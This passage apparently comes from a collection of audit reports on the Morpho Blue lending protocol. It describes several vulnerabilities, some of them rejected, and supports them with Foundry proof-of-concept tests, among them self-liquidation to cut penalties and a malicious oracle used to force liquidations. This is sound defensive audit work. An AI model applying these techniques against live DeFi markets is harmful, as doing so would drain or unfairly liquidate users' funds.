+ uint256 expectedRepaid =
+ amountSeized.mulDivUp(params.priceCollateral, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ uint256 expectedRepaidShares =
+ expectedRepaid.toSharesDown(morpho.totalBorrowAssets(id), morpho.totalBorrowShares(id));
+
+ // Self-liquidation: Borrower liquidates their own position
+ vm.startPrank(BORROWER);
+
+ console.log("amountSeized", amountSeized);
+
+
+ uint256 totalValueBefore =
+ collateralToken.balanceOf(BORROWER) * params.priceCollateral + loanToken.balanceOf(BORROWER) ;
+ console.log("Borrower collaterall sould be 0:", collateralToken.balanceOf(BORROWER));
+
+ console.log("Borrower loanToken balance should be > 0:", loanToken.balanceOf(BORROWER));
+ console.log("Overall value in token B params (BEFORE LIQUIDATION)", totalValueBefore);
+
+ oracle.setPrice((oracle.price() * 50) / 100); // 50% discount LTV > LLTV
+
+
+ // vm.expectEmit(true, true, true, true, address(morpho));
+ // emit EventsLib.Liquidate(id, BORROWER, BORROWER, expectedRepaid, expectedRepaidShares, amountSeized, 0);
+ (uint256 returnSeized, uint256 returnRepaid) = morpho.liquidate(marketParams, BORROWER, amountSeized, 0, hex"");
+
+ console.log("Amount repaid (balace of loan tokne send back to contract to repay)", returnRepaid);
+
+ console.log("Borrower collaterall token", collateralToken.balanceOf(BORROWER));
+ console.log("Borrower loanToken balance ", loanToken.balanceOf(BORROWER));
+ console.log("Borrower colleteral inteernal accounting:", morpho.collateral(id, BORROWER));
+ uint256 totalValueAfter =
+ ((collateralToken.balanceOf(BORROWER) + morpho.collateral(id, BORROWER)) * oracle.price() / ORACLE_PRICE_SCALE) + loanToken.balanceOf(BORROWER);
+
+ console.log("Overall value in token B params (AFTER LIQUIDATION)", totalValueAfter);
+
+ vm.stopPrank();
+
+
+ assertEq(returnSeized, amountSeized, "returned seized amount");
+ assertEq(returnRepaid, expectedRepaid, "returned asset amount");
+
+ }
+```
+
+You can copy paste this tests into the LiquidateIntegrationTest.sol and run them to see the difference.
+
+
+For the following constants:
+
+ params.amountCollateral = 130e6;
+ params.amountBorrowed = 53e6;
+ params.priceCollateral = 1e36; // price of collaterall respect to loan token -> 1:1
+ params.lltv = 0.8 ether; // normal one 0.8
+ oracle.setPrice(params.priceCollateral);
+
+And a collateral price decrease of 50% before and after borrowing. We get this total values in token B terms at the end of the operation.
+
+Liquidated by another one: 8.55e7 (original variables where scaled at e6)
+Self Liquidated: 8.744e7
+
+Being this approximately 2.24% difference.
+
+
+Impact:
+
+This will generate bad incentives for borrowers to self-liquidate themselves instead of repaying or letting others liquidate them, leaving valid liquidators with fewer operations to close. This issue should be addressed to ensure the fair and proper use of the protocol. But this is not all; according to the recent OpenZeppelin audit of Morpho-Blue, a bug was found related to the bad debt being able to be skipped maliciously (H-01). If you open several positions as a borrower and monitor them, ensuring that they are at a minimum unhealthy and eligible for bad debt, you can skip the bad debt by passing a total amount to seize equal to the collateral - 1. This increases the likelihood of exploiting that vulnerability. The interests of self-liquidation and skipping the bad debt are aligned since a borrower cannot simultaneously be, or at least typically is not, a lender (not affected by the skip debt bug) and is incentivised to perform their own liquidation. This directly attacks the good performance and accounting for bad debt.
+
+Solution:
+
+This could be mitigated with an additional check: ``` require(msg.sender != borrower, "you can't liquidate yourself").``` You might think that a user could create another account and transfer the loan tokens to that account to perform the same operation. However, since Morpho-Blue is deployed on Ethereum, the extra gas fees required would likely discourage users from engaging in this practice due to the lack of incentives.
+
+
+
+
+### Missing zero address check can permanently set owner to zero address _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L95
+
+**Description**
+In most cases, passing a 0 address is a mistake and a common one, which has a low likelihood but a High impact.
+So in the Morpho contract, the constructor prevents setting owner to 0 mistake as this critical mistake would be permanent, but the setOwner() function does not prevent setting it to 0. This could permanently render the contract with no owner to enable Irms and LLTVs.
+
+**Recommendation**
+consider adding checks for the passed addresses being nonzero to prevent this.
+
+
+
+### Potential DoS issue in `borrow` and `withdraw` Functions Due to Delayed Bad Debt Realization _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+`Morpho` tracks the Total no. of assets in a Market through `market[id]` state variable. But There exist a delay in recognizing bad debt during liquidation, leading to a discrepancy between reported and actual liquidity levels in the contract.
+
+In `borrow` and `withdraw` function, there is a require check:
+
+```solidity
+File: Morpho
+
+ require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
+
+```
+
+**Issue Scenario:**
+
+Consider the following scenario:
+
+1. `User Position and Liquidation:`
+ * Bob holds a position of 1500 USDT with collateral of 1 WETH, assuming a borrowing time with an Liquidation Loan-to-Value ratio (lltv) of 0.75e18 (1 WETH = 2000 USDT).
+ * Due to a sudden market crash, the price of WETH falls to 1600 USDT, making Bob's position unhealthy. A liquidator, Alice, intervenes and liquidates 0.90 WETH of Bob.
+
+2. `Unrealized Bad Debt:`
+ * The Total bad debt of Bob stands at 1500 - 1200 = 300 USDT at that point.
+ * However, the condition `position[id][borrower].collateral == 0` is not met means it prevents the immediate realization of bad debt.
+
+3. `Liquidity Discrepancy:`
+ * As a result, `totalBorrowAssets` and `totalSupplyAssets` are not adjusted for the outstanding bad debt of 300 USDT.
+ * The contract's reported liquidity is 300 USDT more than the actual available liquidity.
+
+4. `Potential DoS:`
+ * A user observing that `totalBorrowAssets` is less than `totalSupplyAssets` may attempt to execute a `borrow` or with`draw transaction, expecting sufficient liquidity. However, the delayed recognition of bad debt could lead to a transaction revert, potentially causing a DoS scenario.
+
+
+**Recommendation**:
+
+I would recommend to adopt a continuous accrual approach for bad debt with each liquidation, rather than deferring the recognition until the collateral reaches zero, and subsequently realizing all the debt in one instance.
+
+In the given scenario, at the point when 0.9 WETH out of 1 WETH is liquidated (second point), an immediate realization of bad debt proportional to the liquidated amount, such as `270 USDT` (calculated as `300 * (0.9 / 1)`), can effectively prevent the outlined situation. This proactive measure ensures a more responsive and accurate management of bad debt, enhancing the overall robustness of the system.
+
+
+
+### Taylor approximation is extremely inaccurate for large `borrowRate * elapsed` in `_accrueInterest()` _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Context:**
+
+- [Morpho.sol#L476-L477](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L476-L477)
+- [MathLib.sol#L36-L44](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L36-L44)
+
+**Description:**
+
+Morpho Blue calculates compound interest by [approximating it to $e^x$](https://math.nyu.edu/~goodman/teaching/MathFin2019/handouts/CompoundInterest.pdf):
+
+```solidity
+uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]);
+uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
+```
+
+As seen from above, interest is calculated as:
+
+$$ interest = totalBorrowAssets \times (e ^ {borrowRate \times elapsed} - 1)$$
+
+The function uses `wTaylorCompounded()` to approximate $e^x - 1$, which does so using a third order taylor expansion:
+
+```solidity
+/// @dev Returns the sum of the first three non-zero terms of a Taylor expansion of e^(nx) - 1, to approximate a
+/// continuous compound interest rate.
+function wTaylorCompounded(uint256 x, uint256 n) internal pure returns (uint256) {
+ uint256 firstTerm = x * n;
+ uint256 secondTerm = mulDivDown(firstTerm, firstTerm, 2 * WAD);
+ uint256 thirdTerm = mulDivDown(secondTerm, firstTerm, 3 * WAD);
+
+ return firstTerm + secondTerm + thirdTerm;
+}
+```
+
+However, as seen in [this graph](https://www.desmos.com/calculator/fqt8f548b7), the larger the value of $x$, the more inaccurate taylor approximation becomes. As such, if `borrowRate * elapsed` is large, taylor approximation will severely under-approximate the interest rate.
+
+This is problematic as markets where `accrueInterest()` is called more frequently will end up paying a higher interest rate. For example:
+- Assume a 300% APR (i.e. `borrowRate = 3e18 / 365 days`)
+- Market A is not frequently used - `accrueInterest()` is called once after 1 year (i.e. `elapsed = 365 days`)
+- Market B is frequently used - `accrueInterest()` is called every 5 days or so (i.e. `elapsed = 5 days`)
+- When `accrueInterest()` is called for Market A after a year, `borrowRate * elapsed` is large.
+ - As such, taylor approximation returns a value that is much lower than $e^x - 1$.
+- In contrast, whenever `accrueInterest()` is called for Market B, `borrowRate * elapsed` is relatively small.
+ - Therefore, taylor approximation returns a value close to $e^x - 1$.
+- This results in a much higher interest rate for Market B after 1 year, which is unfair to borrowers.
+
+The PoC shown below demonstrates how Market B will have a 19% larger interest rate in the scenario described above. Note that the difference in interest rate is dependent on two factors, namely the market's APR (300%) and the time period (1 year).
+
+```solidity
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity ^0.8.0;
+
+import "test/forge/BaseTest.sol";
+
+contract TaylorApproximationTest is BaseTest {
+ using MarketParamsLib for MarketParams;
+
+ function setUp() public override {
+ super.setUp();
+
+ // Deploy and enable FixedRateIrm
+ address irm = address(new FixedRateIrm());
+ vm.prank(OWNER);
+ morpho.enableIrm(address(irm));
+
+ // Deploy market with FixedRateIrm
+ marketParams = MarketParams({
+ loanToken: address(loanToken), // Pretend this is USDC
+ collateralToken: address(collateralToken), // Pretend this is USDT
+ oracle: address(oracle),
+ irm: irm,
+ lltv: DEFAULT_TEST_LLTV
+ });
+ id = marketParams.id();
+ morpho.createMarket(marketParams);
+ }
+
+ function test_taylorApproximationInaccurateForHighRates() public {
+ // Supply and borrow 1e18 assets
+ _supply(1e18);
+ _supplyCollateralForBorrower(address(this));
+ morpho.borrow(marketParams, 1e18, 0, address(this), address(this));
+
+ // Take a snapshot of the market before any time passes
+ uint256 snapshot = vm.snapshot();
+
+ // Call accrueInterest() once after 1 year
+ skip(365 days);
+ morpho.accrueInterest(marketParams);
+ uint256 interest = morpho.market(id).totalBorrowAssets - 1e18;
+
+ // Revert the state
+ vm.revertTo(snapshot);
+
+ // Repeatedly call accrueInterest() every 5 days
+ for (uint256 i; i < 365 days / 5 days; i++) {
+ skip(5 days);
+ morpho.accrueInterest(marketParams);
+ }
+ uint256 inflatedInterest = morpho.market(id).totalBorrowAssets - 1e18;
+
+ // inflatedInterest is >19% larger than interest
+ assertGt(stdMath.percentDelta(inflatedInterest, interest), 0.19e18);
+ }
+}
+
+contract FixedRateIrm {
+ function borrowRate(MarketParams memory, Market memory) external view returns (uint256) {
+ return uint256(2e18) / 365 days; // 200% APR
+ }
+}
+```
+
+**Recommendation:**
+
+Consider using a more precise function to approximate $e^x$ as compared to Taylor approximation. Some alternatives could be:
+- [`wExp()`]((https://github.com/morpho-org/morpho-blue-irm/blob/c2b1732fc332d20a001ca505aea76bd475e95ef1/src/libraries/adaptive-curve/ExpLib.sol)) from `ExpLib.sol` in `morpho-blue-irm`.
+- Modify [`wadExp()`](https://github.com/transmissions11/solmate/blob/main/src/utils/SignedWadMath.sol#L106-L163) from Solmate's `SignedWadMath.sol` to suit Morpho Blue.
+
+
+
+### Rebasing tokens will get stuck inside the market _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+Morpho Blue has stringent rules regarding the types of tokens allowed for market creation, outlined in the `IMorpho.sol` file. However, the current rules do not explicitly restrict the use of rebasing tokens. While the existing restrictions focus on tokens with balance decreases outside of transfers, they don't cover tokens that increase balances outside of transfers.
+
+When a market is created using a rebasing token, either as collateral or the supply token, all rewards gained on the rebasing token become trapped inside the market. This is because the accounting of tokens within the markets is based solely on transfers in/out, without considering the `token.balanceOf(address(market))`. Consequently, even after withdrawing all deposits, the accrued tokens remain stuck inside the market.
+
+**Recommendation**:
+
+Given Morpho's simplicity and to avoid introducing additional complexities that might lead to vulnerabilities, it is not recommended to implement functionalities checking `balanceOf()` for markets. Instead, the recommendation is to update the documentation and exclude rebasing tokens from the list of supported tokens. The comment in the code can be modified to:
+
+```solidity
+The token balance of Morpho should only increase or decrease on `transfer` and `transferFrom`. In particular, tokens with burn functions are not supported.
+```
+
+This documentation update ensures users and developers are aware of the limitation regarding rebasing tokens and can make informed decisions accordingly.
+
+
+
+### Rounding Issues may lead to Zero-Value Transfers _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L180-L191
+- https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L214-L224
+- https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L249-L260
+- https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L280-L292
+- https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L372-L407
+
+- Impact
+The `shares.toAssetsDown()` and `assets.toSharesDown()` functions may return zero due to integer division rounding. This is compounded by the behavior of `safeTransfer()` and `safeTransferFrom()` functions, which do not revert on zero-value transfers. The combination of these behaviors can lead to scenarios where borrowing or other token transfer functions effectively transfer no assets without triggering a failure or revert. This can affect critical functionalities like supplying, borrowing, withdrawing or liquidating leading to inaccuracies and user experience issues.
+
+- Proof of Concept
+Let's consider a borrow scenario where a user attempts to borrow a small number of shares. Due to the rounding mechanism in the `toAssetsDown` function, combined with the non-reverting nature of zero-value transfers in `safeTransfer()` and `safeTransferFrom()`, no assets are returned to the borrower, yet the transaction does not fail. Consequently, there can be a mismatch where `borrowShares` and `totalBorrowShares` are increased, indicating a successful borrowing transaction, but no actual asset transfer occurs and `totalBorrowAssets` remains unchanged.
+
+- Test Scenario
+**1. Initial Setup**: Liquidity is added to the test environment, the collateral price is set in the oracle, and the borrower is provided with collateral tokens.
+
+**2. Borrower Actions**: The borrower, equipped with collateral tokens, supplies collateral to the protocol. Subsequently, the borrower attempts to borrow a small number of shares, a key step to demonstrate the rounding issue.
+
+**3. Observation of Inconsistencies**: Upon execution of the borrow attempt, it is observed that no assets are returned to the borrower, and crucially, the transaction does not revert. This leads to a state inconsistency where the contract's state variables related to borrow shares, such as `borrowShares` and `totalBorrowShares`, are incremented. This incrementation inaccurately reflects a successful borrowing transaction, despite no actual transfer of loan assets.
+
+**4. Collateral Withdrawal Issue**: Despite the borrower not receiving any loan tokens due to the zero-asset transfer, they are also unable to withdraw the full amount of their supplied collateral back. This creates a further complication, as the protocol's state suggests a successful loan transaction, but the borrower's actual asset balance does not align with this state.
+
+- Code Snippet
+```solidity
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity ^0.8.0;
+
+import "../BaseTest.sol";
+
+contract AuditTest is BaseTest {
+ using MathLib for uint256;
+ using MorphoLib for IMorpho;
+ using SharesMathLib for uint256;
+
+ function testBorrowSharesReturnZeroAssets() public {
+
+ //
+ // 1. Initial Setup
+ //
+
+ // Adding liquidity to the test environment
+ _supply(MIN_TEST_AMOUNT);
+
+ // Setting the price of the collateral in the oracle
+ oracle.setPrice(MIN_COLLATERAL_PRICE);
+
+ // Providing the borrower with collateral tokens
+ collateralToken.setBalance(BORROWER, MAX_COLLATERAL_ASSETS);
+
+ //
+ // 2. Borrower Actions
+ //
+
+ // Starting a prank to simulate actions from the borrower's address
+ vm.startPrank(BORROWER);
+
+ // The borrower adds collateral to the Morpho protocol
+ morpho.supplyCollateral(marketParams, collateralToken.balanceOf(BORROWER), BORROWER, hex"");
+ uint256 suppliedCollateral = morpho.collateral(id, BORROWER);
+
+ // Borrower attempts to borrow shares amounting to less than the virtual assets threshold
+ uint256 sharesBorrowed = 1e6 - 1;
+ (uint256 returnAssets, uint256 returnShares) =
+ morpho.borrow(marketParams, 0, sharesBorrowed, BORROWER, BORROWER);
+
+ //
+ // 3. Observation of Inconsistencies
+ //
+
+ // Verifying that no assets are returned
+ assertEq(returnAssets, 0, "Return zero assets");
+
+ // Ensuring that no tokens are transferred to the borrower
+ assertEq(loanToken.balanceOf(BORROWER), 0, "Receiver have zero balance");
+
+ // Checking if the returned shares match the requested amount
+ assertEq(returnShares, sharesBorrowed, "Return the requested shares amount");
+
+ // Verifying that the borrower's borrow shares have increased
+ assertEq(morpho.borrowShares(id, BORROWER), sharesBorrowed, "Borrower's borrow shares increase");
+
+ //
+ // 4. Collateral Withdrawal Issue
+ //
+
+ // Attempting to withdraw collateral back should fail due to insufficient collateral
+ vm.expectRevert(bytes(ErrorsLib.INSUFFICIENT_COLLATERAL));
+ morpho.withdrawCollateral(marketParams, suppliedCollateral, BORROWER, BORROWER);
+ }
+}
+```
+
+To replicate this test, create a file named `test/forge/integration/AuditTest.sol` and run the test using the command `forge test -vv --match-test testBorrowSharesReturnZeroAssets`.
+
+This issue not only impacts the `borrow` function but also potentially affects other functions involving token transfers and rounding down calculations.
+
+- Tools Used
+VSCode, Certora Prover, Foundry
+
+- Recommended Mitigation Steps
+
+Implement a `require` statement to ensure that the `assets` variable is not zero before proceeding with token transfers. This can be added directly before any `safeTransfer()` or `safeTransferFrom()` calls within the contract functions that deal with asset transfers. For example:
+
+```solidity
+require(assets != 0, "Assets to transfer should be non-zero");
+```
+
+
+
+### Because oracle addresses aren't whitelisted, a malicious actor can liquidate any user as will
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L152-L152](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L152-L152), [Morpho.sol#L255-L255](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L255-L255), [Morpho.sol#L334-L334](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L334-L334), [Morpho.sol#L357-L357](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L357-L357), [Morpho.sol#L359-L359](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L359-L359), [Morpho.sol#L504-L504](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L504-L504)
+
+**Description**:
+
+Morpho blue allow anyone to deploy a new market based on specific values:
+```solidity
+struct MarketParams {
+ address loanToken;
+ address collateralToken;
+ address oracle;
+ address irm;
+ uint256 lltv;
+}
+```
+Any user can then access this market and supply/borrow/... from it
+To protect users, Morpho has chosen to whitelist the IRM addresses as much as the LLTV values that can be used to deploy a market.
+
+But there is no whitelisting for the oracle. The idea behind this is to allow anyone to build its own oracle system and use it for a market it would have deployed.
+If the actor is honest, there's no issue here for the user. But a malicious one could easily build a malicious oracle where the returned price is configurable by himself. Could for example be a proxy which at first is honest, but then pointing to another address returning a controlled value.
+
+Doing so, the `_isHealthy` and `liquidate` are then impacted. This means the malicious actor can:
+- borrow and withdraw more collateral than lltv allows him by making the **collateral appear higher**, or **loan token appear lower** in price
+- can borrow more than lltv allows him by making the **collateral appear higher**, or **loan token appear lower** in price
+- can liquidate a user by making his position unhealthy by making the **collateral appear lower**, or **loan token appear higher** in price
+
+We cannot suppose that all market deployers will be honest, and letting anyone deploy malicious market will not only be the source of loss for users, but also a loss of trust for this primitive of markets.
+
+**Recommendation**:
+
+Do not accept any oracle to be used for a market and whitelist them as much as it is already done for IRM and LLTV.
+
+
+
+### Self-Liquidation Yields Lower Penalties and Exploits Known Bugs _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Sumary:
+
+The following vulnerability gets more serious if it's done along the vector attack I specified on another submission called `Borrower can have privileged position with dust orders`. More info about this below:
+
+This report covers the liquidate() function and the ability of a user to liquidate themselves. First, we will explore how a user could be less penalised if they liquidate themselves versus being liquidated by a third party. Then, we will examine how these actions can be utilised to exploit an acknowledged (but unresolved) bug found by OpenZeppelin in their recent audit (H-01 BAD DEBT CAN BE MALICIOUSLY SKIPPED). This situation increases the likelihood of the bug being exploited (being the reason why this issue was acknowledged but not resolved).
+
+Relevant links:
+
+ [Audit pdf](https://github.com/morpho-org/morpho-blue/blob/main/audits/2023-10-13-morpho-blue-and-speed-jump-irm-open-zeppelin.pdf)
+
+[Liquidate fn ](https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/Morpho.sol#L344)
+
+Vulnerability Details:
+
+In liquidate() function theres no check for requiring that msg.sender != borrower.
+
+
+```
+ function liquidate(
+ MarketParams memory marketParams,
+ address borrower,
+ uint256 seizedAssets,
+ uint256 repaidShares,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(seizedAssets, repaidShares), ErrorsLib.INCONSISTENT_INPUT);
+
+```
+
+This shouldn't be a problem if theres no incentive for doing it, so a extense set of test has been done considering the deferents parameters that are variable like lltv, if the liquidation generates bad debt, if not, oracle price, oracle price decrease in x%, amountBorrowed and amountOfCollateral. I have found that in certains conditions the user loose 2% less than it should if liquidated by anothe one. This tests below compare in constants conditions and with exact price deviations the amount that the borrower being liquidated is left if it liquidates itself and if not:
+
+
+```
+ function testLiquidateSeizedInputNoBadDebtRealized(LiquidateTestParams memory params, uint256 amountSeized)
+ public
+ {
+ // (params.amountCollateral, params.amountBorrowed, params.priceCollateral) =
+ // _boundUnhealthyPosition(params.amountCollateral, params.amountBorrowed, params.priceCollateral);
+
+ // constant values for both tests
+ params.amountCollateral = 130e6;
+ params.amountBorrowed = 53e6;
+ params.priceCollateral = 1e36; // price of collaterall respect to loan token -> 1:1
+ params.lltv = 0.8 ether; // normal one 0.8
+ oracle.setPrice(params.priceCollateral);
+ _setLltv(_boundTestLltv(params.lltv)); // to create market....
+
+ vm.assume(params.amountCollateral > 1);
+
+ params.amountSupplied =
+ bound(params.amountSupplied, params.amountBorrowed, params.amountBorrowed + MAX_TEST_AMOUNT);
+ _supply(params.amountSupplied);
+
+ collateralToken.setBalance(BORROWER, params.amountCollateral);
+
+ // oracle.setPrice(type(uint256).max / params.amountCollateral);
+
+
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, params.amountCollateral, BORROWER, hex"");
+ morpho.borrow(marketParams, params.amountBorrowed, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+
+
+ console.log("amountSeized", amountSeized);
+
+ // all the collaterall
+ uint256 totalValueBefore =
+ collateralToken.balanceOf(BORROWER) * params.priceCollateral + loanToken.balanceOf(BORROWER) ;
+ console.log("Borrower collaterall sould be 0:", collateralToken.balanceOf(BORROWER));
+
+ console.log("Borrower loanToken balance should be > 0:", loanToken.balanceOf(BORROWER));
+ console.log("Overall value in token B params (BEFORE LIQUIDATION)", totalValueBefore);
+
+ oracle.setPrice((params.priceCollateral * 50) / 100);
+
+ uint256 borrowShares = morpho.borrowShares(id, BORROWER);
+ uint256 liquidationIncentiveFactor = _liquidationIncentiveFactor(marketParams.lltv);
+ uint256 maxSeized = params.amountBorrowed.wMulDown(liquidationIncentiveFactor).mulDivDown(
+ ORACLE_PRICE_SCALE, params.priceCollateral
+ );
+ vm.assume(maxSeized != 0);
+
+ amountSeized = params.amountCollateral / 2;
+
+ // amountSeized = bound(amountSeized, 1, Math.min(maxSeized, params.amountCollateral - 1));
+
+ uint256 expectedRepaid =
+ amountSeized.mulDivUp(params.priceCollateral, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ uint256 expectedRepaidShares =
+ expectedRepaid.toSharesDown(morpho.totalBorrowAssets(id), morpho.totalBorrowShares(id));
+
+ loanToken.setBalance(LIQUIDATOR, params.amountBorrowed);
+
+
+ vm.prank(LIQUIDATOR);
+
+ // remove emit log test
+ // vm.expectEmit(true, true, true, true, address(morpho));
+ // emit EventsLib.Liquidate(id, LIQUIDATOR, BORROWER, expectedRepaid, expectedRepaidShares, amountSeized, 0);
+
+ (uint256 returnSeized, uint256 returnRepaid) = morpho.liquidate(marketParams, BORROWER, amountSeized, 0, hex"");
+
+
+ console.log("Amount repaid (balace of loan tokne send back to contract to repay)", returnRepaid);
+
+ console.log("Borrower collaterall token", collateralToken.balanceOf(BORROWER));
+ console.log("Borrower loanToken balance ", loanToken.balanceOf(BORROWER));
+ console.log("Borrower colleteral inteernal accounting:", morpho.collateral(id, BORROWER));
+ uint256 totalValueAfter =
+ ((collateralToken.balanceOf(BORROWER) + morpho.collateral(id, BORROWER)) * oracle.price() / ORACLE_PRICE_SCALE) + loanToken.balanceOf(BORROWER);
+
+ console.log("Overall value in token B params (AFTER LIQUIDATION)", totalValueAfter);
+
+ // failing asserts to show all the logs.
+ assertEq(returnSeized, amountSeized, "returned seized amount");
+ assertEq(returnRepaid, expectedRepaid, "returned asset amount");
+ }
+
+Test 2 (self liquidated)
+
+ function testLiquidateSelfLiquidationNoBadDebtRealizedScenario1(
+ LiquidateTestParams memory params,
+ uint256 amountSeized
+ ) public {
+ // Setup parameters and bounds
+ // _setLltv(_boundTestLltv(params.lltv));
+ // (params.amountCollateral, params.amountBorrowed, params.priceCollateral) =
+ // _boundUnhealthyPosition(params.amountCollateral, params.amountBorrowed, params.priceCollateral);
+
+ params.amountCollateral = 130e6;
+ // 73 with 30% dicout unhealthy...
+ params.amountBorrowed = 53e6;
+ params.priceCollateral = 1e36; // price of collaterall respect to loan token -> 1:1
+ params.lltv = 0.8 ether; // normal one 0.8
+ oracle.setPrice(params.priceCollateral);
+
+ vm.assume(params.amountCollateral > 1);
+
+ params.amountSupplied =
+ bound(params.amountSupplied, params.amountBorrowed, params.amountBorrowed + MAX_TEST_AMOUNT);
+ _supply(params.amountSupplied);
+
+ // Set balances for the borrower who will also be the liquidator
+ collateralToken.setBalance(BORROWER, params.amountCollateral); // ! "we have collaterall arleady"
+
+
+ console.log("balance of loan token should be 0 before borrow", loanToken.balanceOf(BORROWER));
+ console.log("colaterall price before change", params.priceCollateral);
+
+ // Set a high price to ensure the position is unhealthy
+ // now the retio now 1:0.8 1 collateral 0.8 token price.
+ // price to 1 collaterall is 0.5 loan token
+ // borrow at normal price
+ // oracle.setPrice(type(uint256).max / params.amountCollateral);
+
+ // Borrower supplies collateral and borrows
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, params.amountCollateral, BORROWER, hex"");
+ morpho.borrow(marketParams, params.amountBorrowed, 0, BORROWER, BORROWER); // this give us loan token
+ vm.stopPrank();
+
+ console.log(
+ "collaterall balance of token in user should be 0 or low (after borrow)",
+ collateralToken.balanceOf(BORROWER)
+ );
+ console.log(
+ "balance of loan token should be > 0 before borrow (total of our loan)", loanToken.balanceOf(BORROWER)
+ );
+
+ // params.priceCollateral = 0.5e18; // if colaterall price lower means that with
+ //oracle.setPrice(7e53); // 30% discount LTV > LLTV
+ // ->oracle.setPrice(params.priceCollateral);
+ console.log("colaterall price after change", oracle.price());
+
+ // BALANCE BEFORE Decrease:
+ // ! console.log("Overall value in token B params", collateralToken.balanceOf(BORROWER) *
+ // params.priceCollateral);
+
+ // Calculate liquidation parameters
+ uint256 borrowShares = morpho.borrowShares(id, BORROWER);
+ uint256 liquidationIncentiveFactor = _liquidationIncentiveFactor(marketParams.lltv);
+
+ console.log("Liquidation incentive factor:", liquidationIncentiveFactor);
+ uint256 maxSeized = params.amountBorrowed.wMulDown(liquidationIncentiveFactor).mulDivDown(
+ ORACLE_PRICE_SCALE, params.priceCollateral
+ );
+ vm.assume(maxSeized != 0);
+
+ // 50% collaterall seized
+ amountSeized = params.amountCollateral / 2;
+
+ uint256 expectedRepaid =
+ amountSeized.mulDivUp(params.priceCollateral, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ uint256 expectedRepaidShares =
+ expectedRepaid.toSharesDown(morpho.totalBorrowAssets(id), morpho.totalBorrowShares(id));
+
+ // Self-liquidation: Borrower liquidates their own position
+ vm.startPrank(BORROWER);
+
+ console.log("amountSeized", amountSeized);
+
+
+ uint256 totalValueBefore =
+ collateralToken.balanceOf(BORROWER) * params.priceCollateral + loanToken.balanceOf(BORROWER) ;
+ console.log("Borrower collaterall sould be 0:", collateralToken.balanceOf(BORROWER));
+
+ console.log("Borrower loanToken balance should be > 0:", loanToken.balanceOf(BORROWER));
+ console.log("Overall value in token B params (BEFORE LIQUIDATION)", totalValueBefore);
+
+ oracle.setPrice((oracle.price() * 50) / 100); // 50% discount LTV > LLTV
+
+
+ // vm.expectEmit(true, true, true, true, address(morpho));
+ // emit EventsLib.Liquidate(id, BORROWER, BORROWER, expectedRepaid, expectedRepaidShares, amountSeized, 0);
+ (uint256 returnSeized, uint256 returnRepaid) = morpho.liquidate(marketParams, BORROWER, amountSeized, 0, hex"");
+
+ console.log("Amount repaid (balace of loan tokne send back to contract to repay)", returnRepaid);
+
+ console.log("Borrower collaterall token", collateralToken.balanceOf(BORROWER));
+ console.log("Borrower loanToken balance ", loanToken.balanceOf(BORROWER));
+ console.log("Borrower colleteral inteernal accounting:", morpho.collateral(id, BORROWER));
+ uint256 totalValueAfter =
+ ((collateralToken.balanceOf(BORROWER) + morpho.collateral(id, BORROWER)) * oracle.price() / ORACLE_PRICE_SCALE) + loanToken.balanceOf(BORROWER);
+
+ console.log("Overall value in token B params (AFTER LIQUIDATION)", totalValueAfter);
+
+ vm.stopPrank();
+
+
+ assertEq(returnSeized, amountSeized, "returned seized amount");
+ assertEq(returnRepaid, expectedRepaid, "returned asset amount");
+
+ }
+```
+
+You can copy paste this tests into the LiquidateIntegrationTest.sol and run them to see the difference.
+
+
+For the following constants:
+
